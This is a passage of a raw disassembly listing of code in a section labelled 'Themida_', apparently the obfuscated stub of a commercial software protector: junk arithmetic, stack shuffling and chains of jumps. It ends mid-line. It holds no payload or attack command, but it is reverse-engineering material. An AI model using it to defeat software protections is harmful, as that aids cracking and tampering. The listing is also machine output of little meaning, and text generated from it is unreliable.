Themida_:005714E2j add dword ptr [esp], 2A7567F1h jmp loc_56CAB5 ; --------------------------------------------------------------------------- loc_568584: ; CODE XREF: Themida_:0055F85Cj add ebp, 0B6D7066h push ebp mov ebp, esp add ebp, 4 jmp loc_570A9D ; --------------------------------------------------------------------------- loc_568598: ; CODE XREF: Themida_:0056BC6Dj mov bh, ah mov ah, dl pop edx push edx mov dh, 90h inc dh shl dh, 4 xor dh, 8Ah xor ah, dh pop edx add bl, 44h sub bl, ah sub bl, 44h mov eax, [esp] add esp, 4 push eax mov al, 4Dh neg al push dx mov dh, 0Ch sub al, 0F8h sub al, dh add al, 0F8h pop dx shr al, 4 shr al, 1 sub al, 67h xor al, 2Dh sub bl, al pop eax sub bl, al add bl, 0B3h push dx mov dl, 0BEh add bl, dl jmp loc_56597E ; --------------------------------------------------------------------------- loc_5685E9: ; CODE XREF: Themida_:005709E7j mov dh, 29h mov ch, dh pop edx add al, ch pop ecx sub al, 5 add al, bh push edx jmp loc_57263F ; --------------------------------------------------------------------------- loc_5685FB: ; CODE XREF: Themida_:00570DC4j add bl, 25h pop dx add bl, 0EAh jmp loc_55E121 ; --------------------------------------------------------------------------- loc_568608: ; CODE XREF: Themida_:00564528j pop ebp sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push 1 mov esi, [esp] jmp loc_56038A ; --------------------------------------------------------------------------- loc_568620: ; CODE XREF: Themida_:0056FED6j mov bh, 9Eh jmp loc_567F1A ; --------------------------------------------------------------------------- loc_568627: ; CODE XREF: Themida_:005657CEj pop eax pop eax dec esi push 5B77h mov [esp], ebx mov ebx, 7F0A653Ch add ebx, 0F0822EF1h xor esi, ebx jmp loc_569874 ; --------------------------------------------------------------------------- loc_568644: ; CODE XREF: Themida_:0055E66Fj mov edi, 4 sub ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax jmp loc_569E7A ; --------------------------------------------------------------------------- loc_56865E: ; CODE XREF: Themida_:0056ADEDj sub esp, 4 mov [esp], ebp push 32106D54h pop ebp neg ebp jmp loc_56AF4F ; --------------------------------------------------------------------------- loc_568674: ; CODE XREF: Themida_:00569EDCj add esp, 4 push ebx mov ebx, esp jmp loc_561601 ; --------------------------------------------------------------------------- loc_56867F: ; CODE XREF: Themida_:0056FD0Aj push 40000h push dword ptr [esp] mov esi, [esp] add esp, 4 push edi push esp pop edi push ebx push 4 jmp loc_55D8D3 ; --------------------------------------------------------------------------- loc_56869B: ; CODE XREF: Themida_:0056DE31j xor ebx, 0C4E2BAFBh jmp loc_560D46 ; --------------------------------------------------------------------------- loc_5686A6: ; CODE XREF: Themida_:005729BDj sub ebx, ebp pop ebp sub ebx, 55363B7Dh pop edi pop edi pop ebp jmp loc_569273 ; --------------------------------------------------------------------------- loc_5686B7: ; CODE XREF: Themida_:0056FEA3j or ecx, 18F82B79h xor ecx, 339B4FB8h jmp loc_57288E ; --------------------------------------------------------------------------- loc_5686C8: ; CODE XREF: Themida_:00562BBFj mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_56F8C6 ; --------------------------------------------------------------------------- loc_5686D7: ; CODE XREF: Themida_:0056807Ej add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edi jmp loc_55F4E9 ; --------------------------------------------------------------------------- loc_5686EE: ; CODE XREF: Themida_:0056ABB5j sub ebp, 25E3323Ah jmp loc_57048E ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push ebx mov ebx, esp add ebx, 4 jmp loc_56EF3F ; --------------------------------------------------------------------------- loc_56870C: ; CODE XREF: Themida_:005621FFj sub eax, edi add eax, 502508F6h push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 27C251A1h shl ebx, 2 add ebx, 1 xor ebx, 22EB4C2Ch neg ebx shl ebx, 1 jmp loc_568EAC ; --------------------------------------------------------------------------- loc_568746: ; CODE XREF: Themida_:0056F893j add esp, 2 jmp loc_56891B ; --------------------------------------------------------------------------- loc_568751: ; CODE XREF: Themida_:0056EBE8j pop esi inc esi sub esi, 56D8525Ch shr esi, 3 push ebx jmp loc_55FACF ; --------------------------------------------------------------------------- loc_568762: ; CODE XREF: Themida_:005631D8j push ecx mov ecx, 55707A8Dh or edi, ecx jmp loc_567CA4 ; --------------------------------------------------------------------------- loc_56876F: ; CODE XREF: Themida_:0056E129j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_564EF5 ; --------------------------------------------------------------------------- loc_568782: ; CODE XREF: Themida_:0055E5FDj push edx mov edx, 4 sub ecx, edx jmp loc_561C13 ; --------------------------------------------------------------------------- loc_56878F: ; CODE XREF: Themida_:00562634j mov edi, 4 sub ebx, edi jmp loc_5643F2 ; --------------------------------------------------------------------------- loc_56879B: ; CODE XREF: Themida_:0056AD59j add eax, 6A25578Ah sub eax, 35240C34h mov ebx, [esp] add esp, 4 sub eax, ebx push esi push eax mov eax, 72ED1B95h or eax, 320A7590h add eax, 0FFFFFFFFh or eax, 762B1852h dec eax not eax add eax, 0B1C1E6DDh mov esi, eax pop eax sub esi, 52235E64h or esi, 2C248FAh shl esi, 2 add esi, 6BF138D3h sub esp, 4 mov [esp], ebp push edi mov edi, 8E95ACDh mov ebp, 620D933Dh sub ebp, edi pop edi add eax, ebp jmp loc_55FDFC ; --------------------------------------------------------------------------- loc_5687FE: ; CODE XREF: Themida_:0055D5D9j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor eax, ecx pop ecx push ebp push eax mov eax, 6613B46h mov ebp, eax pop eax push ecx jmp loc_55E602 ; --------------------------------------------------------------------------- loc_568821: ; CODE XREF: Themida_:0056E058j push esp pop eax push ebp push 4 mov ebp, [esp] add esp, 4 jmp loc_56A30F ; --------------------------------------------------------------------------- loc_568834: ; CODE XREF: Themida_:00567FDFj add dl, 8Ah and bl, dl pop edx push edx mov dh, 0E3h xor bl, dh jmp loc_562CB5 ; --------------------------------------------------------------------------- loc_568844: ; CODE XREF: Themida_:0056313Fj add ebx, 1091AB4h push ecx mov ecx, 57453CDBh sub ebx, ecx jmp loc_56FD86 ; --------------------------------------------------------------------------- loc_568857: ; CODE XREF: Themida_:00562F91j pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_564A6A ; --------------------------------------------------------------------------- loc_56886A: ; CODE XREF: Themida_:0056FA9Dj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56886F: ; CODE XREF: Themida_:00567006j mov edx, 66796EAFh xor edx, 52E04755h add edx, 13D9412Fh add edx, 1CDF9C1Eh add eax, edx pop edx add eax, 44E4748Ah sub eax, ebx push ebp mov ebp, 44E4748Ah sub eax, ebp push dword ptr [esp] pop ebp add esp, 4 push 2854h jmp loc_56E0BA ; --------------------------------------------------------------------------- loc_5688A9: ; CODE XREF: Themida_:0055F1CDj add edx, 72560454h add edx, ebp sub edx, 72560454h mov ebp, [esp] jmp loc_56AF7C ; --------------------------------------------------------------------------- loc_5688BF: ; CODE XREF: Themida_:005648D2j pop esi shr edx, 7 and edx, 88B5EACh sub esp, 4 mov [esp], ebx mov ebx, 7DBF5404h jmp loc_563CA5 ; --------------------------------------------------------------------------- loc_5688DC: ; CODE XREF: Themida_:0056ECA7j shr ebp, 1 inc ebp jmp loc_565720 ; --------------------------------------------------------------------------- loc_5688E4: ; CODE XREF: Themida_:00570631j pop eax jmp loc_560285 ; --------------------------------------------------------------------------- loc_5688EA: ; CODE XREF: Themida_:0056732Ej add esi, 4 add esi, 4 jmp loc_563203 ; --------------------------------------------------------------------------- loc_5688FB: ; CODE XREF: Themida_:0056E539j or dl, cl mov cx, [esp] push eax mov eax, esp jmp loc_5661B2 ; --------------------------------------------------------------------------- loc_568909: ; CODE XREF: Themida_:0056B723j pop edi sub eax, 407056DBh sub eax, ebx add eax, 407056DBh jmp loc_5674A8 ; --------------------------------------------------------------------------- loc_56891B: ; CODE XREF: Themida_:0056874Cj add [esp+2], si jmp loc_56DC71 ; --------------------------------------------------------------------------- loc_568925: ; CODE XREF: Themida_:005700C5j push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 5CAC1CAFh dec ecx sub ecx, 2CB56EC7h neg ecx sub ecx, 0D0095217h sub ebp, 6D8A09A0h add ebp, ecx push edx jmp loc_56606B ; --------------------------------------------------------------------------- loc_568951: ; CODE XREF: Themida_:00561EA2j sub esi, 0C9A818DEh add ecx, esi push dword ptr [esp] mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ecx mov ecx, esp jmp loc_566EB7 ; --------------------------------------------------------------------------- loc_568977: ; CODE XREF: Themida_:00564060j pop esi jmp loc_5713E6 ; --------------------------------------------------------------------------- loc_56897D: ; CODE XREF: Themida_:00570DABj add edx, eax sub esp, 4 jmp loc_55DD52 ; --------------------------------------------------------------------------- loc_56898A: ; CODE XREF: Themida_:0057297Fj sub bl, dh add bl, 0BDh jmp loc_560CC4 ; --------------------------------------------------------------------------- loc_568994: ; CODE XREF: Themida_:0056981Ej jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_568999: ; CODE XREF: Themida_:0055DF37j sub ecx, 4 push ecx jmp loc_56BC4A ; --------------------------------------------------------------------------- loc_5689A2: ; CODE XREF: Themida_:00569136j sub esp, 4 jmp loc_56FED3 ; --------------------------------------------------------------------------- loc_5689AD: ; CODE XREF: Themida_:0055F55Cj mov [esp], ecx jmp loc_56C15A ; --------------------------------------------------------------------------- loc_5689B5: ; CODE XREF: Themida_:00569FA9j add esi, 3DC0AABh add esi, ebp sub esi, 3DC0AABh pop ebp push eax push 5A48h mov [esp], ebp mov ebp, esp jmp loc_566E08 ; --------------------------------------------------------------------------- loc_5689D4: ; CODE XREF: Themida_:0056CF4Dj add ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_57287F ; --------------------------------------------------------------------------- loc_5689DF: ; CODE XREF: Themida_:0056BC9Fj shr esi, 7 shr esi, 8 push eax jmp loc_569EA0 ; --------------------------------------------------------------------------- loc_5689EB: ; CODE XREF: Themida_:00571A6Aj add edi, 2 push edi push dword ptr [esp+4] jmp loc_56614B ; --------------------------------------------------------------------------- loc_5689FB: ; CODE XREF: Themida_:00571D50j push esp pop esi sub esp, 4 mov [esp], eax jmp loc_571510 ; --------------------------------------------------------------------------- loc_568A08: ; CODE XREF: Themida_:0056FEE9j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push 6CB93B08h mov edi, [esp] add esp, 4 jmp loc_56D8A8 ; --------------------------------------------------------------------------- loc_568A2E: ; CODE XREF: Themida_:0055F6B8j xor [esp], edi jmp loc_55F820 ; --------------------------------------------------------------------------- loc_568A36: ; CODE XREF: Themida_:0056A11Fj mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_5670B1 ; --------------------------------------------------------------------------- loc_568A47: ; CODE XREF: Themida_:00563A11j push ebx push edx jmp loc_56D382 ; --------------------------------------------------------------------------- loc_568A4E: ; CODE XREF: Themida_:0056DC80j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_568A53: ; CODE XREF: Themida_:00564126j push ecx mov ecx, 23993837h dec ecx jmp loc_568AC5 ; --------------------------------------------------------------------------- loc_568A5F: ; CODE XREF: Themida_:00560A19j pop eax dec esi jmp loc_55E943 ; --------------------------------------------------------------------------- loc_568A66: ; CODE XREF: Themida_:00568C66j add ebp, 4 push 4346h mov [esp], esi push 12C6h mov [esp], edx push 5977597Fh pop edx add edx, 0FFFFFFFFh push ecx mov ecx, 65596h shr ecx, 3 jmp loc_560C1A ; --------------------------------------------------------------------------- loc_568A96: ; CODE XREF: Themida_:005707CDj mov ebp, [esp] add esp, 4 add esp, 4 xor edi, 6CF535B0h not edi jmp loc_56C311 ; --------------------------------------------------------------------------- loc_568AAF: ; CODE XREF: Themida_:00561A3Bj push esi push eax mov eax, 3BF138DCh mov esi, 46617CF1h xor esi, eax pop eax not esi jmp loc_56D6B5 ; --------------------------------------------------------------------------- loc_568AC5: ; CODE XREF: Themida_:00568A5Aj shr ecx, 6 or ecx, 65067007h xor ecx, 0CBC3F8Fh add ecx, 32E931CAh push ebx mov ebx, 595C691Ah push ebp mov ebp, 21AF1AC6h and ebx, ebp jmp loc_55F9EC ; --------------------------------------------------------------------------- loc_568AED: ; CODE XREF: Themida_:00565656j sub esp, 2 mov [esp], dx xor word ptr [esp], 6399h pop di xor di, 6399h mov cx, di jmp loc_56BB4C ; --------------------------------------------------------------------------- loc_568B09: ; CODE XREF: Themida_:0056ABD5j and eax, 3F8C0143h jmp loc_56A4D5 ; --------------------------------------------------------------------------- loc_568B13: ; CODE XREF: Themida_:005695F7j sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_56EF54 ; --------------------------------------------------------------------------- dd 0E9242489h, 5923h ; --------------------------------------------------------------------------- loc_568B28: ; CODE XREF: Themida_:0055F1D4j push ecx jmp loc_566B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_568B2E: ; CODE XREF: sub_562A0A+E22Aj mov ecx, [esp+4+var_4] jmp loc_56D5A5 ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_568B36: ; CODE XREF: Themida_:0056FBEEj push 66F1h jmp loc_562F90 ; --------------------------------------------------------------------------- loc_568B40: ; CODE XREF: Themida_:0055EB6Dj mov ecx, [esp] push eax push esp jmp loc_56E0EA ; --------------------------------------------------------------------------- loc_568B4A: ; CODE XREF: Themida_:00568C40j pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_567066 ; --------------------------------------------------------------------------- loc_568B5A: ; CODE XREF: Themida_:00570ACAj add eax, ebp add eax, 2D4C68AEh jmp loc_56DDEB ; --------------------------------------------------------------------------- loc_568B66: ; CODE XREF: Themida_:00566375j inc esi jmp loc_561A65 ; --------------------------------------------------------------------------- loc_568B6C: ; CODE XREF: Themida_:0056827Bj sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push 760Dh mov [esp], edi jmp loc_56648C ; --------------------------------------------------------------------------- loc_568B85: ; CODE XREF: Themida_:0056D34Dj mov [esp], ecx push esp pop ecx push ebx mov ebx, 374A6689h jmp loc_55F8A4 ; --------------------------------------------------------------------------- loc_568B95: ; CODE XREF: Themida_:0055FF28j pop dword ptr [esp] mov esp, [esp] jmp loc_56417D ; --------------------------------------------------------------------------- loc_568BA0: ; CODE XREF: Themida_:0056902Bj sub al, dl push edx mov dl, 0B1h shl dl, 4 sub esp, 4 mov [esp], ecx jmp loc_563C41 ; --------------------------------------------------------------------------- loc_568BB6: ; CODE XREF: Themida_:0056E42Bj add ebx, 4 jmp loc_562C1B ; --------------------------------------------------------------------------- loc_568BC1: ; CODE XREF: Themida_:00569840j sub ebx, esi sub ebx, 2492569Dh pop esi shl ebx, 5 sub ebx, 5E667978h push edi mov edi, 895FE488h xor ebx, edi push dword ptr [esp] jmp loc_5713BE ; --------------------------------------------------------------------------- loc_568BE3: ; CODE XREF: Themida_:00562C65j push ebp jmp loc_5714C6 ; --------------------------------------------------------------------------- loc_568BE9: ; CODE XREF: Themida_:005729F9j sub esp, 4 mov [esp], ecx push 5CEBh mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_56A4DF ; --------------------------------------------------------------------------- loc_568C07: ; CODE XREF: Themida_:0055D6C7j mov edx, esp push ebp mov ebp, 4 add edx, 28D761C1h add edx, ebp jmp loc_571387 ; --------------------------------------------------------------------------- loc_568C1C: ; CODE XREF: Themida_:00562D98j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_564258 ; --------------------------------------------------------------------------- loc_568C2F: ; CODE XREF: Themida_:00568211j add esp, 4 sub ebp, 56647108h add ebp, edi add ebp, 56647108h jmp loc_568B4A ; --------------------------------------------------------------------------- loc_568C45: ; CODE XREF: Themida_:00566CE2j add ebx, 0D6748F0h jmp loc_56EA3D ; --------------------------------------------------------------------------- loc_568C50: ; CODE XREF: Themida_:0056FD81j pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_568C56: ; CODE XREF: Themida_:0056EF45j mov esp, [esp] mov [esp], ebp push esp mov ebp, [esp] add esp, 4 jmp loc_568A66 ; --------------------------------------------------------------------------- loc_568C6B: ; CODE XREF: Themida_:0055F6B0j add esp, 4 add eax, 4 push esi jmp loc_56C6D4 ; --------------------------------------------------------------------------- loc_568C7C: ; CODE XREF: Themida_:00568DEAj mov [esp], eax mov ah, 0FAh mov bl, 0FAh add bl, ah pop eax dec bl xor bl, 0E0h push ecx jmp loc_5634F1 ; --------------------------------------------------------------------------- loc_568C91: ; CODE XREF: Themida_:0056EF76j mov edi, 18CC02C6h and edi, 7183711h not edi dec edi jmp loc_56A907 ; --------------------------------------------------------------------------- loc_568CA4: ; CODE XREF: Themida_:0055E959j mov [esp], ebp mov ebp, 4F7D4933h and ebp, 485F586Eh neg ebp xor ebp, 40E84D4Eh or ebp, 7347179Dh add ebp, 0BBE5A764h sub ecx, ebp pop ebp sub esi, ecx jmp loc_55EF3B ; --------------------------------------------------------------------------- loc_568CD0: ; CODE XREF: Themida_:0056B8BAj mov edx, [esp] push eax mov eax, esp jmp loc_55EB8D ; --------------------------------------------------------------------------- loc_568CDB: ; CODE XREF: Themida_:00566CECj mov [esp], dx push 12CCh jmp loc_564BF1 ; --------------------------------------------------------------------------- loc_568CE9: ; CODE XREF: Themida_:00570400j mov ecx, [esp] add esp, 4 jmp loc_56C9F0 ; --------------------------------------------------------------------------- loc_568CF4: ; CODE XREF: Themida_:00570D8Bj sub ebx, 342260A3h push esi push ebp jmp loc_56AB48 ; --------------------------------------------------------------------------- loc_568D01: ; CODE XREF: Themida_:0056295Fj inc dh push bx mov bh, 0C2h jmp loc_56CB56 ; --------------------------------------------------------------------------- loc_568D0C: ; CODE XREF: Themida_:00563536j or ch, 0Bh sub esp, 4 jmp loc_5655C2 ; --------------------------------------------------------------------------- loc_568D17: ; CODE XREF: Themida_:005680A6j add ebx, 51A905E0h push ebp mov ebp, 7B87278Ch jmp loc_562ACE ; --------------------------------------------------------------------------- loc_568D28: ; CODE XREF: Themida_:00571B0Dj push esi mov esi, 7A3C4523h sub esp, 4 jmp loc_566831 ; --------------------------------------------------------------------------- loc_568D39: ; CODE XREF: Themida_:00561138j sub ah, ch pop ecx push ebx jmp loc_56445B ; --------------------------------------------------------------------------- loc_568D42: ; CODE XREF: Themida_:0056CBCBj mov ebp, 6588534Eh push 6C77h jmp loc_55FEE5 ; --------------------------------------------------------------------------- loc_568D51: ; CODE XREF: Themida_:0057091Bj sub esi, edx pop edx jmp loc_564C42 ; --------------------------------------------------------------------------- loc_568D59: ; CODE XREF: Themida_:00560A7Aj mov ebp, esp push esi jmp loc_55E084 ; --------------------------------------------------------------------------- loc_568D61: ; CODE XREF: Themida_:00567275j mov edx, 7DA4753Ch add ebx, edx pop edx push 7C23h mov [esp], esi push eax jmp loc_56B661 ; --------------------------------------------------------------------------- loc_568D77: ; CODE XREF: Themida_:00564C99j mov edi, 23635D47h add edx, edi mov edi, [esp] jmp loc_56108A ; --------------------------------------------------------------------------- loc_568D86: ; CODE XREF: Themida_:0055D8E3j push 213Bh jmp loc_56B694 ; --------------------------------------------------------------------------- loc_568D90: ; CODE XREF: Themida_:0056C155j add esp, 4 inc esi sub esi, 0EEE14552h add eax, 71C50920h sub eax, esi push ebx mov ebx, 71C50920h sub eax, ebx pop ebx pop esi push dword ptr [edi+eax*4] jmp loc_5699E3 ; --------------------------------------------------------------------------- loc_568DB3: ; CODE XREF: Themida_:00563319j pop esp mov [esp], esi jmp loc_565B5B ; --------------------------------------------------------------------------- loc_568DBC: ; CODE XREF: Themida_:00563685j xor ebp, [esp] jmp loc_5706D4 ; --------------------------------------------------------------------------- loc_568DC4: ; CODE XREF: Themida_:005690E0j push 7FD3h mov [esp], esp push edi jmp loc_567F24 ; --------------------------------------------------------------------------- loc_568DD2: ; CODE XREF: Themida_:0056FD4Fj add esi, 4 add esi, 4 jmp loc_56C41F ; --------------------------------------------------------------------------- loc_568DE3: ; CODE XREF: Themida_:0056C26Aj mov [esp], ecx push ebx sub esp, 4 jmp loc_568C7C ; --------------------------------------------------------------------------- loc_568DEF: ; CODE XREF: Themida_:0056B7BEj add ecx, 4 jmp loc_55E144 ; --------------------------------------------------------------------------- loc_568DFA: ; CODE XREF: Themida_:00561051j mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 535F6EDDh mov eax, 0D9E4D77Eh add eax, ecx pop ecx jmp loc_570E8D ; --------------------------------------------------------------------------- loc_568E15: ; CODE XREF: Themida_:005607BBj pop eax add esp, 4 xor edx, [esp] jmp loc_567AC1 ; --------------------------------------------------------------------------- loc_568E21: ; CODE XREF: Themida_:0055DD91j add ebp, edi add ebp, 22F41FB7h jmp loc_564A52 ; --------------------------------------------------------------------------- loc_568E2E: ; CODE XREF: Themida_:00566B21j push edx mov edx, esp push ebx mov ebx, 1E341B7Dh shl ebx, 3 push esi jmp loc_561C7A ; --------------------------------------------------------------------------- loc_568E40: ; CODE XREF: Themida_:0056CFE7j add edx, edi pop edi shr edx, 7 xor edx, 2DCE66F8h shr edx, 2 sub edx, 9EE1284Bh jmp loc_55EDDE ; --------------------------------------------------------------------------- loc_568E5A: ; CODE XREF: Themida_:0055D89Aj shl edx, 1 push 7E20h mov [esp], ebp sub esp, 4 jmp loc_563497 ; --------------------------------------------------------------------------- loc_568E6C: ; CODE XREF: Themida_:0056A9C6j push 3C1Ch jmp loc_571493 ; --------------------------------------------------------------------------- loc_568E76: ; CODE XREF: Themida_:0057242Bj pop edx push 2701h mov [esp], eax push 680h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 push 2111h mov [esp], edi push ebp push 5B4964DBh pop ebp add ebp, 0A4B69B29h jmp loc_55EBEF ; --------------------------------------------------------------------------- loc_568EAC: ; CODE XREF: Themida_:00568741j xor ebx, 843BEAAAh sub ecx, ebx pop ebx jmp loc_56506D ; --------------------------------------------------------------------------- loc_568EBA: ; CODE XREF: Themida_:00571656j mov ebx, 2B7A0EC2h push edx mov edx, 635E701Ah jmp loc_5674B2 ; --------------------------------------------------------------------------- loc_568ECA: ; CODE XREF: Themida_:005634CBj mov edx, 27A31AC0h push edx jmp loc_55EFDB ; --------------------------------------------------------------------------- mov ax, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebp push 5FD5h mov [esp], esp add dword ptr [esp], 4 jmp loc_5633FD ; --------------------------------------------------------------------------- loc_568F05: ; CODE XREF: Themida_:0056BE93j shr ecx, 3 jmp loc_55F2F4 ; --------------------------------------------------------------------------- loc_568F0D: ; CODE XREF: Themida_:00571437j sub ebx, 4 xchg ebx, [esp] jmp loc_571920 ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp push ecx jmp loc_569992 ; --------------------------------------------------------------------------- loc_568F28: ; CODE XREF: Themida_:0056CD1Fj shr edi, 5 sub edi, 17F33293h xor edi, 0ECB99B00h add eax, edi pop edi add eax, 4 xchg eax, [esp] pop esp add esp, 4 push dword ptr [esp] pop esi push eax jmp loc_56E203 ; --------------------------------------------------------------------------- loc_568F53: ; CODE XREF: Themida_:0055E8B1j mov ah, cl push edx mov dh, bl mov cl, dh pop edx mov bl, ah mov ax, [esp] add esp, 2 xchg al, cl jmp loc_56A834 ; --------------------------------------------------------------------------- loc_568F6B: ; CODE XREF: Themida_:00569659j mov ebp, 4981723Dh shl ebp, 2 xor ebp, 3B3700F6h push 6C12h mov [esp], ebp mov ebp, esp jmp loc_55F052 ; --------------------------------------------------------------------------- loc_568F88: ; CODE XREF: Themida_:00570337j add esp, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp push esi jmp loc_56BDCB ; --------------------------------------------------------------------------- lodsb push 6AB6h mov [esp], ebx mov ebx, esp jmp loc_571431 ; --------------------------------------------------------------------------- loc_568FB3: ; CODE XREF: Themida_:005629EDj pop eax jmp loc_571407 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 889h mov [esp], eax push 977h mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 4 add eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_560F6B ; --------------------------------------------------------------------------- loc_568FED: ; CODE XREF: Themida_:00560C74j pop esp push ebx push eax push 28FAh mov [esp], ebx mov bl, dl mov al, bl pop ebx push 19A6h mov [esp], edx sub esp, 4 jmp loc_56A681 ; --------------------------------------------------------------------------- loc_56900D: ; CODE XREF: Themida_:0055D9F2j pop dword ptr [esp] xchg eax, esi not eax xor esi, eax xor eax, esi xor esi, eax push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] jmp loc_56AFE1 ; --------------------------------------------------------------------------- loc_56902A: ; CODE XREF: Themida_:0056F6FAj pop ecx jmp loc_568BA0 ; --------------------------------------------------------------------------- loc_569030: ; CODE XREF: Themida_:0056F3C9j push dword ptr [esp] jmp loc_56A939 ; --------------------------------------------------------------------------- loc_569038: ; CODE XREF: Themida_:00572A0Fj push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 jmp loc_55F210 ; --------------------------------------------------------------------------- loc_569057: ; CODE XREF: Themida_:00564D97j mov [esp], ecx push edi mov edi, ebx push 6335h mov [esp], edi jmp loc_56F5CE ; --------------------------------------------------------------------------- loc_56906A: ; CODE XREF: Themida_:00560D2Fj push esp pop esi jmp loc_572000 ; --------------------------------------------------------------------------- loc_569071: ; CODE XREF: Themida_:005665BCj add ebx, 0F6013B3Ch mov esi, ebx jmp loc_56977C ; --------------------------------------------------------------------------- loc_56907E: ; CODE XREF: Themida_:005602EDj push ebx mov ebx, 0A21156Eh dec ebx push 4406h jmp loc_563B5C ; --------------------------------------------------------------------------- loc_56908F: ; CODE XREF: Themida_:00571790j add edx, 40086769h add edx, 7F330AE8h xor edx, 3C4D159Fh add edx, 6FB1D3Eh add edi, edx pop edx add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_56374C ; --------------------------------------------------------------------------- loc_5690B8: ; CODE XREF: Themida_:00571875j sub esi, 64D17025h sub esi, edi add esi, 64D17025h pop edi push eax push edi mov edi, 0AD6CECh sub edi, 4B0A618Dh jmp loc_5603F7 ; --------------------------------------------------------------------------- loc_5690D9: ; CODE XREF: Themida_:005616F3j pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_568DC4 ; --------------------------------------------------------------------------- loc_5690E5: ; CODE XREF: Themida_:0056F08Bj pop eax push 51C7h jmp loc_5698B6 ; --------------------------------------------------------------------------- loc_5690F0: ; CODE XREF: Themida_:005712F8j sub ecx, edx pop edx sub esp, 4 mov [esp], ebp jmp loc_55DE2C ; --------------------------------------------------------------------------- loc_569101: ; CODE XREF: Themida_:0056156Cj sub al, 27h sub bl, al pop ax sub bl, 0E3h add bl, al sub esp, 4 mov [esp], eax mov ah, 92h xor ah, 27h inc ah neg ah and ah, 0DAh not ah add ah, 2Eh add bl, ah mov eax, [esp] add esp, 4 jmp loc_564F0E ; --------------------------------------------------------------------------- loc_569133: ; CODE XREF: Themida_:0056CADFj mov [esp], eax jmp loc_5689A2 ; --------------------------------------------------------------------------- loc_56913B: ; CODE XREF: Themida_:00561BEBj add esp, 4 jmp loc_5700FC ; --------------------------------------------------------------------------- loc_569146: ; CODE XREF: Themida_:00563A70j mov esi, 4 jmp loc_56A56C ; --------------------------------------------------------------------------- loc_569150: ; CODE XREF: Themida_:00563BCAj mov esp, [esp] sub eax, 74857B8Fh jmp loc_56A7FF ; --------------------------------------------------------------------------- loc_56915D: ; CODE XREF: Themida_:00564BD1j xor [esp], ebx xor ebx, [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56916F: ; CODE XREF: Themida_:00564CB5j and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 7 push 1296h mov [esp], ebx push esi push 662h mov [esp], ecx push 3EE533A1h pop ecx shr ecx, 4 push edx push eax push 619A654Eh pop eax sub eax, 2489584Fh xor eax, 47A075D3h sub eax, 451C718h mov edx, eax pop eax add ecx, edx jmp loc_56F950 ; --------------------------------------------------------------------------- loc_5691B8: ; CODE XREF: Themida_:00567B22j pop ebp or ecx, esi pop esi push ebp mov ebp, 39E32731h jmp loc_563C6F ; --------------------------------------------------------------------------- loc_5691C7: ; CODE XREF: Themida_:00561B5Cj add eax, ebp push edx push esi push 75741746h pop esi dec esi jmp loc_572614 ; --------------------------------------------------------------------------- loc_5691D7: ; CODE XREF: Themida_:00566E2Dj xchg eax, [esp] pop esp mov [esp], ebp jmp loc_55E6AC ; --------------------------------------------------------------------------- loc_5691E3: ; CODE XREF: Themida_:00567ABCj sub esp, 4 mov [esp], edi mov edi, 0DA2464Fh push ebx mov ebx, 7301661Eh sub edi, ebx pop ebx xor edi, 279524Bh jmp loc_5618C0 ; --------------------------------------------------------------------------- loc_569202: ; CODE XREF: Themida_:005724D4j mov edi, [esp] jmp loc_56AAD7 ; --------------------------------------------------------------------------- loc_56920A: ; CODE XREF: Themida_:00570EA5j push ecx mov ecx, ebp mov esi, ecx mov ecx, [esp] add esp, 4 pop ebp push 53F3h mov [esp], edi jmp loc_56D816 ; --------------------------------------------------------------------------- loc_569226: ; CODE XREF: Themida_:005714F0j xor dl, 1Fh dec dl sub dl, 88h xchg bl, dl push ebx not byte ptr [esp] pop ebx push eax jmp loc_56DB70 ; --------------------------------------------------------------------------- loc_56923B: ; CODE XREF: 